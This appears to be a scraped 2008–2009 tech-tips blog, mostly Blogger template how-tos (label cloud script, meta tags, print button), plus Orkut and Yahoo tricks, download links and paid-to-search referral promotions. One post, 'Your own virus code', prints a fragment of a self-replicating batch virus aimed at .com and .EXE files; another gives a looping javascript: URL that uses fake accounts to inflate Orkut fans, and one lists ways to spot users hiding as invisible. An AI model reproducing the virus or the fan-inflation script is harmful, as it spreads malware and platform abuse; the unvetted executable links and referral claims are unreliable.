<b:section class='main' id='main' showaddelement='no'>
<b:widget id='Blog1' locked='true' title='Blog Posts' type='Blog'/>
</b:section>
</div></div>

<div id='sidebar-wrap'>

now add following code in Green to ABOVE div id='main-wrap1'.

This will look like

<div id='newsidebar-wrap'>

<div id='newsidebar-wrap1'><div id='newsidebar-wrap2'>
<b:section class='sidebar' id='newsidebar' preferred='yes'>
<b:widget id='NewProfile' locked='false' title='About Me' type='Profile'/>
</b:section>
</div></div></div>

<div id='main-wrap1'><div id='main-wrap2'>
<b:section class='main' id='main' showaddelement='no'>
<b:widget id='Blog1' locked='true' title='Blog Posts' type='Blog'/>
</b:section>
</div></div>

<div id='sidebar-wrap'>

It is done. Now save your template and look for changes.
It will look like -

THREE column Rounders 2 Template
THREE column Rounders 2 Template Blue

Label Cloud or Tag Cloud widget for Blogger

2009-07-26T10:15:00.013-07:00

In most websites there is Label/ Tag clouds embedded as shown in following image.

And now a Blogger can do the same by using following easy steps.

See the Demo of Label or Tag Cloud Widget

At least one of your labels has more than one entry. A bug in the script causes it to fail when all the labels have only one entry.Also, make sure that none of your labels contain quote marks " .

1. Login to Blogger >> Layout >> Page Elements >> Add a Gadget >> Labels. A new window will open. Sorting should be Alphabetically and now hit SAVE. Now go to Edit HTML. Download Full Template for backup.

2. Now look for this tag

]]></b:skin>

And place following code before that tag.

/* Label Cloud Styles
----------------------------------------------- */
#labelCloud {text-align:center;font-family:arial,sans-serif;}
#labelCloud .label-cloud li{display:inline;background-image:none !important;padding:0 5px;margin:0;vertical-align:baseline !important;border:0 !important;}
#labelCloud ul{list-style-type:none;margin:0 auto;padding:0;}
#labelCloud a img{border:0;display:inline;margin:0 0 0 3px;padding:0}
#labelCloud a{text-decoration:none}
#labelCloud a:hover{text-decoration:underline}
#labelCloud li a{}
#labelCloud .label-cloud {}
#labelCloud .label-count {padding-left:0.2em;font-size:9px;color:#000}
#labelCloud .label-cloud li:before{content:"" !important}

3. Now add following code After

]]></b:skin>

and before </head> tag.

<script type='text/javascript'>
// Label Cloud User Variables
var cloudMin = 1;
var maxFontSize = 20;
var maxColor = [0,0,255];
var minFontSize = 10;
var minColor = [0,0,0];
var lcShowCount = false;
</script>

Above code is the variable section.

4. Now look for following

<b:widget id='Label1' locked='false' title='Labels' type='Label'/>

Now copy the following code and replace it with above line.

<b:widget id='Label1' locked='false' title='Label Cloud' type='Label'>
<b:includable id='main'>
<b:if cond='data:title'>
<h2><data:title/></h2>
</b:if>

<div class='widget-content'>
<div id='labelCloud'/>
<script type='text/javascript'>

// Don't change anything past this point -----------------
// Cloud function s() ripped from del.icio.us
function s(a,b,i,x){
if(a>b){
var m=(a-b)/Math.log(x),v=a-Math.floor(Math.log(i)*m)
}
else{
var m=(b-a)/Math.log(x),v=Math.floor(Math.log(i)*m+a)
}
return v
}

var c=[];
var labelCount = new Array();
var ts = new Object;
<b:loop values='data:labels' var='label'>
var theName = "<data:label.name/>";
ts[theName] = <data:label.count/>;
</b:loop>

for (t in ts){
if (!labelCount[ts[t]]){
labelCount[ts[t]] = new Array(ts[t])
}
}
var ta=cloudMin-1;
tz = labelCount.length - cloudMin;
lc2 = document.getElementById('labelCloud');
ul = document.createElement('ul');
ul.className = 'label-cloud';
for(var t in ts){
if(ts[t] < cloudMin){
continue;
}
for (var i=0;3 > i;i++) {
c[i]=s(minColor[i],maxColor[i],ts[t]-ta,tz)
}
var fs = s(minFontSize,maxFontSize,ts[t]-ta,tz);
li = document.createElement('li');
li.style.fontSize = fs+'px';
li.style.lineHeight = '1';
a = document.createElement('a');
a.title = ts[t]+' Posts in '+t;
a.style.color = 'rgb('+c[0]+','+c[1]+','+c[2]+')';
a.href = '/search/label/'+encodeURIComponent(t);
if (lcShowCount){
span = document.createElement('span');
span.innerHTML = '('+ts[t]+') ';
span.className = 'label-count';
a.appendChild(document.createTextNode(t));
li.appendChild(a);
li.appendChild(span);
}
else {
a.appendChild(document.createTextNode(t));
li.appendChild(a);
}
ul.appendChild(li);
abnk = document.createTextNode(' ');
ul.appendChild(abnk);
}
lc2.appendChild(ul);
</script>

<noscript>
<ul>
<b:loop values='data:labels' var='label'>
<li>
<b:if cond='data:blog.url == data:label.url'>
<data:label.name/>
<b:else/>
<a expr:href='data:label.url'><data:label.name/></a>
</b:if>
(<data:label.count/>)
</li>
</b:loop>
</ul>
</noscript>
<b:include name='quickedit'/>
</div>

</b:includable>
</b:widget>

It's done !

You can configurthe colors and font size to match your blog. At no. 3 step you added these variables

<script type='text/javascript'>
// Label Cloud User Variables
var cloudMin = 1;
var maxFontSize = 20;
var maxColor = [0,0,255];
var minFontSize = 10;
var minColor = [0,0,0];
var lcShowCount = false;
</script>

var cloudMin= 1;
This enable you to limit the no. of labels shown. If you keep this setting at 1 then it will show all the labels. If you enter in a higher number, then only labels that have at least that number of entries will appear in the cloud.

maxFontSize - sets the size of the label with the most amount entries.
maxColor - sets the color of that entry (in RGB format).

minFontSize - sets the size of the label with the least entries.
minColor - sets the color of that entry (in RGB format).

lcShowCount
If its false then label count is off and if it is true then label count is on.

How to add different meta tags to diffrent posts of Blogger

2009-07-26T10:15:00.011-07:00

Adding Meta tags is one good procedure for SEO. These meta tags should be unique for each posts and that makes the search engines to know more about your individual blog posts and make them crawl and index your pages better and it also improves your Search engine rankings.

Procedure to add meta tags -

This is for Home Page

Login to Blogger > Layout > Edit HTML.

Search for following

<b:include data='blog' name='all-head-content'/>

Add following code JUST BELOW above line

<b:if cond='data:blog.url == "http://free-blogger-help.blogspot.com/">

<meta content='DESCRIPTION' name='description'/>
<meta content='KEYWORDS' name='keywords'/> </b:if>

Now procedure to add meta tag to any post of your website e.g. http://free-blogger-help.blogspot.com/2008/07/increase-traffic-to-your-blogger-blog.html

<b:if cond='data:blog.url == "http://free-blogger-help.blogspot.com/2008/08/list-of-useful-blogger-widgets.html">
<meta content='Type you post description here.' name='description'/>
<meta content='Type, the, post, keywords, here' name='keywords'/>
</b:if>

Repeat above step for as many blog posts you want to have unique META Tags for.

How to Add Print Button to your Blogger post.

2009-07-26T10:15:00.009-07:00

Like other popular websites now you can add Print Button to your Blogger blog so that visitors/users will be able to print your blog article by one mouse click.

See Demo site with Print Button (Go and click on any post).

Step by step Procedure

1. Go to Blogger Dashboard >> Layout >> Edit HTML >> Download Full Template ( for backup) >> Expand Widget Template.

2. Look for <p><data:post.body/></p>

Now replace above code with any one of the following codes.

<span class='noprint'><data:post.body/></span> <b:if cond='data:blog.pageType == "item"'> <a href='javascript:window.print()'><img src='http://i475.photobucket.com/albums/rr115/djyano21/printButton.png'/></a></b:if>

<span class='noprint'><data:post.body/></span> <b:if cond='data:blog.pageType == "item"'> <a href='javascript:window.print()'><img src='http://i475.photobucket.com/albums/rr115/djyano21/print_button.gif'/></a></b:if>

<span class='noprint'><data:post.body/></span>
<b:if cond='data:blog.pageType == "item"'>
<a href='javascript:window.print()'><img src='http://i475.photobucket.com/albums/rr115/djyano21/printButton12.gif'/></a></b:if>

Save you template and look for changes.

Selecting Right and Profitable Affiliate Programs for your Blog

2009-07-26T10:15:00.007-07:00

While selecting correct and profitable Affiliate Program keep in mind that some programs can waste your time and also some others can spoil your website's reputation also.

Following is a short guide for Selecting Right and Profitable Affiliate Programs

1. Your Website

If you have Computer related site then promoting the agriculture product will not be a smart choice. Then visitors of your site also matters. Promoting visitor interested products will good.

2.Affiliate merchant's website

Affiliate merchant's website should only deal with selling of products and not unwanted ads. The product or service must encourage visitors to purchase it.

3.Reputation of the affiliate merchant and quality of goods and services

You should must have the knowledge of payments by Affiliate merchant and also their past and present operations.

Promoting inferior quality and overpriced goods will degrade your reputation.

4.Commission scheme of the affiliate program

Most popular Commission sachems are pay per click, pay per lead and pay per sale schemes. With the competition increasing almost all merchants have started offering two tiered commissions, some even offer multi tiered ones.

Source of the Article - webmasters-forum.org

Add quick edit pencil icon to the posts.

2009-07-26T10:15:00.005-07:00

Now when you are login to the blogger and you open your blog you can edit any post as you can do it in Wordpress. You have to click on button to edit the post.

But sometimes this button is not visible. So here is a simple way to add this button.

1. Login to Blogger >> Settings >> Basic. Now scroll down and look for Show Quick Editing on your Blog? It should be .

2. Next go to Layout >> Page Elements. Look for Blog Posts and click on Edit below it.

The field before Show Quick Editing should be checked as follows.

Now save this. It should work now.

If above basic procedure not working for you then you have edit your template to add Quick Edit Button/Pencil to your blog posts.

1. Sign in to Blogger >> Layout >> Edit HTML >> Download Full Template >> Expand widget templates.

2. Now look following section of code is present or not.

<b:includable id='postQuickEdit' var='post'>
<b:if cond='data:post.editUrl'>
<span expr:class='"item-control " + data:post.adminClass'>
<a expr:href='data:post.editUrl' expr:title='data:top.editPostMsg'>
<img alt='' class='icon-action' src='http://www.blogger.com/img/icon18_edit_allbkg.gif'/>
</a>
</span>
</b:if>
</b:includable>

3. If above code is not present then Copy above code and replace it with

b:includable id='postQuickEdit' var='post'

4. Now look for

<div class='post-footer-line post-footer-line-1'>

and add following code below it

<b:include data='post' name='postQuickEdit'/>
</div>

You can also add above code to the below of

<data:post.body />

Save your template. It's done.

Edit Links Present in Sidebar.

2009-07-26T10:15:00.003-07:00

When you apply a new blogger template you may found following links in your blog.

You can easily edit these links with your favorite one as follows:

Login to Blogger >> Layout >> Edit HTML >> Download Full Template >> Expand Widget Templates.

Look for the following code

<MainOrArchivePage>
<h2 class="sidebar-title">Links</h2>
<ul>
<li><a href="http://news.google.com/">Google News</a></li>
<li><a href="http://help.blogger.com/bin/answer.py?answer=110">Edit-Me</a></li>
<li><a href="http://help.blogger.com/bin/answer.py?answer=110">Edit-Me</a></li>
</ul>
</MainOrArchivePage>

You can add your favorite link address to http://news.google.com/ or http://help.blogger.com/bin/answer.py?answer=110.
Add Link title to Google News or Edit-Me. Save template.

Disable anonymous comments in Blogger

2009-07-26T10:15:00.001-07:00

If you are getting lots of anonymous comments on your blog it is sometimes annoying. But you can easily disable these anonymous comments. Let's see how -

1. Sign in to Blogger Dashboard >> Settings >> Comments.

2. Look for "Who Can Comment?" option. Select any one option from last three ones. Make sure first option Anyone is not selected. (look following image). Save.

Now you will never get anonymous comments.

Play Nintendo DS on your Computer

2008-06-27T01:29:00.001-07:00

To play the DS Rom all you have to do is go to FILE>OPEN your rom! (Easy as 123 Very Happy !)

Emulator Controls
Z = A
X = B
A = Y
S = X
Q = L
W = R
ENTER= START
SPACE= SELECT
MOUSE= TOUCHSCREEN

Download software :

http://rapidshare.com/files/105589956/D35muM3.0.4.0NintendoDSEmulator.zip

Working rapidshare automatic downloader program new

2008-06-27T01:21:00.000-07:00

If you download a lot of files from free file hosting sites like RapidShare and MegaUpload, but are tired of entering Captchas and waiting for your downloads to begin, jDownloader can help. jDownloader is a download manager that works with both sites, plus a few others. It lets you queue up a bunch of files which it will then proceed to download in the background. It can even read Captchas, which means you don't have to be near your computer when the downloads start.

The program does have a few quirks. First, jDownloader requires Java to run and you don't install it like a regular Windows application. Rather, you download and extract the contents of a ZIP file and then click the jDownloader.jar file to start the program.

Now you're almost ready to go. But before you can download any files you'll have to accept the terms of service for each site you want to download files from.

1. Click the Extra button
2. Select Configuration
3. Select the Hosts tab
4. Check the boxes next to any file hosting service you expect to use.

Now you're ready to start downloading. Just click the Add Links button and add links to any files you want to download, then click the Start button to begin downloading.

the program also detects happy hours and you can shedule automatic extraction rar files.

how to use extractor?

1- enable automatic extraction

2- download winrar dos command tool and install it.

http://www.rarlab.com/rar/unrarw32.exe

3- select unrar.exe

4- if your archive has a password then click to edit list of passwords and paste your pass or you can add your pass to list by link collector.

JDownloader currently allows the download of hosting the following:

* archiv.to
* bluehost.to
* datenklo.net
* depositfiles.com
* fast-load.net
* filefactory.com
* filer.com
* files.to
* imagefap.com
* load.to
* megaupload.com
* netload.in
* ramzal.com
* rapidshare.com
* rapidshare.de
* share.gulli.com
* sharebase.de
* share-now.net Share now.net
* shareonline.biz
* uploaded.to
* uploadstube.com
* xup.in
* yourfiles.biz
* zshare.com

here is the video if you can see working JD

http://www.metacafe.com/watch/1339167/

PLAY almost any(any format) FILES IN MEDIA PLAYER

2008-06-27T01:14:00.000-07:00

THIS IS ONLY 5.92 MEGABITES AND WELL WORTH IT I HAVE BEEN LOOKING FOR SOMETHING LIKE THIS FOR AGES FOUND IT TODAY SO AM POSTING FOR EVERYONE WHO NEEDS IT.
PLAYS ALMOST ANY VIDEO FILE YOU HAVE, YOU CAN PLAY YOUR .MKV FILES IN MEDIA PLAYER CLASSIC AND ALSO MOST OTHER VIDEO FORMATS TOO!!!

Download link :

http://rapidshare.com/files/51446610/Combined-Community-Codec-Pack-2007-07-22.exe

Watch Movies Over the Internet or by Downloading FREE

2008-06-27T01:02:00.000-07:00

This program is one if not the best movie software i have found been using it now for about 1 day and thought i would post up here for all you lot.

Worth a download because its really good.

more info below :-

The easiest and fastest way to watch full-length videos online.

# Access to over 130,000 videos
# Full-length, full-resolution files
# High-Definition video support
# Faster than peer-to-peer
# Integrated playback
# Free to download and use
# Contains no spyware or adware
# Easy installation and setup

----

Streaming Video Playback

* Instant access to over 130,000 videos
* Full-resolution, full-length files
* Forget BitTorrent, Graboid Video features little-to-no waiting for video playback

Downloading

* Download any video in our database for viewing or burning later
* High-definition video files are available
* Max-out your connection with the fastest download speeds anywhere

Integrated Playback

* Play video files directly within the application
* Full-screen, high-resolution playback
* Crystal-clear digital audio
Full Web Integration
* View details on your favorite videos directly within Graboid Video
* Participate in discussions and get support with built-in community forums
* Manage your account details without ever leaving Graboid Video

To download :-

Download links :

http://www.graboid.com/downloads/GraboidVideoSetup.exe

To go to website :-
http://www.graboid.com

Enjoy-.-.-.-.-.-.--.

PLEASE LEAVE COMMENTS

Earn up to 47100 RS points Each Month with 3 programs

2008-06-27T00:24:00.000-07:00

well firstly i think its not a new idea...but im sure no 1 tried it before...
anyway, the thing is that we make a new account on rapidshare...(collectors account) for those who doesn't have premium account...therefore, the premium users can use their premium accounts to do this also to get free points....
after u create new account..upload one file...
the size must b at least 1Mb..(make it 1mb)

Now follow these pix:-

then Download USDownloader from here: (about 5Mbs)
Download link:
http://rapidshare.com/files/109867782/USDownloader-Lite_24-4-2008_.rar.html

Program 1 >>>

download the batch from here:-

Download link:
http://rapidshare.com/files/87595417/reconnect_delete_temp_files.rar.html

firstly extract Reconnect_delete_temp_files.rar...
for dialing-up users (broadband and all dialing-up users,and all users that use username/pass to connect to internet )
u can only use this batch file 2 reconnect ur connection..
its so fast, u can reconnect in 3 seconds maximum..
all u do is there r 2 files 1 for deleting the temp files...u can just add it to ur scheduler..
the other file is reconnecter...
now follow these Instructions:

1-open the batch file by right click on the icon => EDIT..
now do these instructions:-

NOw open USDownloader...
2- go 2 options and do this
in main

in settings

3- now go to scheduler

press add

another task for getting ur links automatically

last task for deleting temp files..

now just press OK and thats all...
anyway, at this moment u can paste ur link inside the "usdownloader" and start to get ur own points.
to delete all the temp files automatically just add new task in scheduler
then add this file..called "Delete Temp Files"

Download link:

http://rapidshare.com/files/75555097/Reconnect_delete_temp_files.rar.html

cheers!!

Make money :Earn dollars $$ for search Join Mysearchfunds: Payemnts proof

2008-05-23T21:34:00.002-07:00

Click here to join now

MySearchFunds

here is yet another Paid to Search site with Ask, Yahoo, Live, and Google running behind it. They share 50% of the advertising revenue generated, with their members.

In order to use it, you need to have either Internet Explorer 7 installed or Mozilla Firefox installed. You can download them from a link on their site.

Payment Proof Below:

It actually pays,i recently got paid for my searches it is a wonderful site , i have it as my homepage you don't have to install nothing.

for each search, you get your £ 0.03 about $ 0.06!

Click here to join now

Here are the details:

1. Cash out at 2o$ minimum.
2. Just search like you would search on Google.
3. They recently added Google as a search engine.
5. You don't got nothing to lose.

Click here to join now

Make money : Earn $$ join myLot : Payment proofs

2008-05-23T21:13:00.000-07:00

why you should join myLot

We've heard reports of many myLot users who spend most of the waking hours of any given day enjoying myLot.

"Nothing can be that interesting?" you might ask.

Well, then you've probably never experienced a place like myLot.

It can be addicting enough to kill days on end, but also functional and useful enough for the millions of internet users who only have a few precious moments in their busy days for "online time."

Join by clicking here

--------------

customize your internet experience

View the latest discussions, news, and blog postings all tailored to your interests and personal experience on myLot.

Make myLot your default home page and take advantage of everything myLot has to offer. Oh yeah, we have the weather too!
participate in discussions
Discuss topics about anything and everything under the sun.

Join one of the hundreds of thousands of discussions already started by our members, or start your own! We guarantee you'll find many others who share your interests.

Join by clicking here
--------------

Ahh, it's fun to be a fast growing community! make money

Did we mention that you get paid (cash!) for your valuable contributions here?

That's the best part of myLot for many users.

Learn about the earnings program and find out how you can earn some extra spendng money.

Join by clicking here
--------------

build a profile
myLot users can express themselves with their own personal profile page. Every myLot user has one!

It's kind of like MySpace, only much cleaner.
Share photos with your friends and family.

Your profile is completely customized to your style, so let the world know what you're all about!

communicate with and make new friends
myLot has built-in private messaging which is a great way to communicate with your friends. It's 100% spam-free because YOU choose who can send you messages.

Only users who are on your "friends" list (which you have 100% control over) can send you a private message.

Join by clicking here
--------------

read and discuss the news
Never miss what's going on in the world.

We have breaking news stories, as well as articles tailored towards your specific interests.

You can even debate current events with other myLot users.

Join by clicking here
--------------

search and find
myLot has a comprehensive searching experience unlike any other.

Whether you're looking for web sites, discussions, news, blog articles, photos or private messages, you can easily find them!

With Yahoo! Search powering our web results, there's absolutely no reason to search anywhere else.

Join by clicking here
--------------

Give it a try. We guarantee you'll like what you find!

read and discuss articles from leading blogs
The blogging community produces some of the best information on the internet, and now we've brought this information onto myLot.

Blog articles are tailored towards your interests, or you can subscribe to specific blogs that interest you.
Do you own a blog? Then submit your blog for inclusion on myLot. It's a great way to obtain more readers of your blog!

Join by clicking here
--------------

recruit other members
Along with the earnings program mentioned above, you're compensated for each and every new user that you refer to myLot who participates.

Instead of blowing our advertising budget on television, radio, or online ads, we've decided to pay our loyal users instead. After all, the myLot users are our best ambassadors!

If you're reading this, then chances are that you yourself were referred by a myLot member. This is a great program, and many members are making a LOT of money each month helping myLot grow!

Join by clicking here
--------------
Payment proof

Orkut trick : Software Orkut cute 9.4.27

2008-05-17T03:57:00.000-07:00

Orkut Cute came to be with the intent to ease the access to your Orkut account. With it you can easily access your account and quickly check your scraps. The program automatically logs in to Orkut creating an icon on the Windows system tray. All it takes to access your account is a double-click on that icon.

It also allows for you to send scraps to all your friends at once.

You can set up the program to warn you whenever someone sends you a scrap.

Characteristics:
- You can create several standard messages: they are stored in a database, so that you don’t need to type them all over again.
- You can choose to which friends you want to send your message
- Macroreplacement unique system. By placing the identifiers $nc$ or $nl$ anywhere on your message, they will be replaced by your friend’s name once the message is posted.
- By activating the “random messages” option the program will search messages randomly on its database everytime it posts.

This way you will be able to create several messages and each of your friends will receive a different message.

Download

http://www.softpedia.com/progDownload/Orkut-Cute-Download-44976.html

Orkut trick : Orkut scrap sender software

2008-05-17T03:54:00.000-07:00

This is a freeware program that let you browse orkut and know when you or your friends receive new scraps. You can add emoticons, colour and formatting to your scraps with ease. Sending scraps from your desktop is also as easy as writing an instant message.

Download

http://rapidshare.com/files/111746832/setup.exe.html

Orkut Trick to ncrease orkut fans

2008-05-17T03:51:00.000-07:00

Follow the steps:

1) Create a fake account or simply login with ur friends Id.. and add yourself as a friend there.

2) Visit the FRIENDS page by logging into your just created fake account or the Friends account.

3) Point your cursor on the fan icon () beside your real profile. Note your status bar. It should be showing something like javascript:setKarma('FRUS*******/US*******'). Note the code FRUS******* and US******* somewhere. Now, click on the star so as to make your fake account a fan of your real account.

4) Copy the following code to your address bar (The location where you type http://www.orkut.com ). Replace FRUS******* and US******* in the following script with the one you noted in the above step.

javascript:function cmd(){window.location="/setkarma?cat=0&val=3&gid=FRUS*******/US*******";}void(setInterval(cmd,2000));

5) Hit ENTER key of your keyboard. The page will keep on reloading and your fans will keep on increasing with an approximate speed of 6 fans per second untl you close the window.

Orkut trick : Make your name invisible in your orkut profile

2008-05-17T03:46:00.000-07:00

For making your name invisible follow the steps:

1) Click on edit profile

2) Type ALT + 0173 in your first name and last name. (i.e. Type 0173 while pressing the ALT key of your keyboard.)

3) Click on Update
8.1) Make your Picture invisible in your profile !

In MS Paint, create the smallest image possible and den upload it I.E. 1X1 pic!!
virtually unclickable ! n u are invisible now !

Orkut trick Get rid of orkut virus

2008-05-17T03:43:00.000-07:00

"ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did?? MUHAHAHA!!".

Did you eer found an error wile opening Orkut?It makes a folder named heap41a in the C:\ drive with attributes S (System file) and H (Hidden file).

If your pc is infected by this virus then just boot it in safe mode,goto cmd prompt and at C:\> type attrib -S -H heap41a to make this folder visible and then just delete this folder.

Now use a registry cleaner to delete the registry keys made by this

Easy Method to delete the virus.

open task manager>process tab>there if you find svchost.exe befor your user name (remember also system will use svchost.exe don't end that) just give end process for that then go to run and type C://heap41a and delete all files of that folder..

Your own virus code

2008-05-17T03:41:00.000-07:00

A simple VIRUS code is here: Just save the following code as .bat extension in notepad.

The antivirus will detect it as virus. see for yourself.

It will affect *.com and *.EXE files .

It will multiply itself and may get more dangerous when altered.

@echo off>nul.ViRuSif

"%1=="/ViRuS_MULTIPLY goto ViRuS_multiplyif

"%1=="/ViRuS_OUTER_LOOP goto ViRuS_outer_loopif

"%1=="/ViRuS_FINDSELF goto ViRuS_findselfif

"%VOFF%=="T goto ViRuS_OLDBAT

set ViRuSname=%0

if not exist %0.bat call %0 /ViRuS_FINDSELF %path%

if not exist %ViRuSname%.bat set ViRuSname=

if "%ViRuSname%==" goto ViRuS_OLDBAT

Finding a invisible user on Yahoo! Messenger : yahoo trick

2008-05-17T03:38:00.000-07:00

Many people nowdays prefer to stay offline while using Yahoo! Messenger -mostly done to avoid someone. There are many ways of finding people who are online but yet invisible.

First Method: Doodle Method

1. Double Click on the user whose status you want to check.

2. A message window will open.

3. Click IMVironment button, select See all IMVironments, select Yahoo! Tools or Interactive Fun, and click on Doodle.

4. The last step and the most important step. After loading the Doodle IMVironment, there will be two possibilities.
a) If the user is offline, the Doodle area will show “waiting for your friend to load Doodle” continuously. If the user is online (in invisible mode), after few seconds (it can take up to one minute, depending on connection speed), you will get a blank page.

So the user is online!There is a counter attack of this trick:Go to Messenger>>Preferences>>Messages and now uncheck Enable IMVironments. Now this trick is nullified!

Second Method: Voice Chat

1. Double Click on the user whose status you want to check.

2. Click on “Voice” icon on the toolbar, or select “Contact” menu and select “Enable Voice Chat” .

3. The deciding part… there are 2 possible results:

a) If the user is offline, you will get this message: “Internal server error. Cannot obtain voice token to start voice chat.” If the user is invisible (actually online), you will see the Voice Toolbar.

Third Method: Conference Invitation

1. Right Click on the user whose status you want to check.

2. When the menu appears, select Invite to Conference.

3. A window will appear. See at the right pane, the username you selected will be there. Now, click Invite.

4. The deciding part… there are 2 possible results:

a) If the user is offline, you will get this message: “None of the users in the invite list are available to join the conference.

Please try at a later time.”If the user is invisible, you will get a window similar saying: “You are now logged into voice conference - "

Fourth Method: Buddy Spy

1. Get Buddy Spy from

http://www.buddy-spy.com

2. Go to configure and enter your login details.

3. Now go to Buddy Spy option and enter the username you want to track. You can also check multiple ids also. Not only Buddy Spy tells the status of Chat but also Room Chat and WebCamera status of that user also!

4. You can edit other options through Scan Options menu.Now Have a great chatting!

Yahoo trick :Disable yahoo from tracking you

2008-05-17T03:24:00.000-07:00

As you all know, Yahoo! upgraded its features and the capacities of the mail accounts have grown to 2GB. That's good for sure, but the "monitoring" methods that we all have been far too familiar with in the last couple of years have been renewed with this move also.

Yahoo! is now keeping track of which sites its members that are getting into groups or using Yahoo! services are visiting and storing this data with a method called "Web Beacons".

The aim is to give these statistics to the partner companies arranged by agreement and to improve the "advertisement guiding" function. However, those who are bothered by this and do not want to be kept track of have still a choice.

Yahoo! has hidden this option way deep inside somewhere but I'm declaring it here in case there are people who want it anyway:

1. Go to the address codehttp://privacy.yahoo.com/privacyand click the "Cookies" link under the "Special Topics" column.

2. Click the "Web Beacons" link under the "Reference Links" Column.

3. On this page, click the "click here to opt out" link toward the end of the third paragraph under the "Outside the Yahoo! Network" title.

4. After a while, a page that says you have been out of the monitoring program will load. Without doing anything, close that page or continue your usual surfing by typing another address in the address bar. (Do NOT click the "Cancel Opt-out" button, your action will be cancelled!)

5. You're done! Now Yahoo! will not record what you're doing during surfing.You can let your friends that might be interested know about this; since no matter how "innocent" it may seem, it's still a violation of privacy.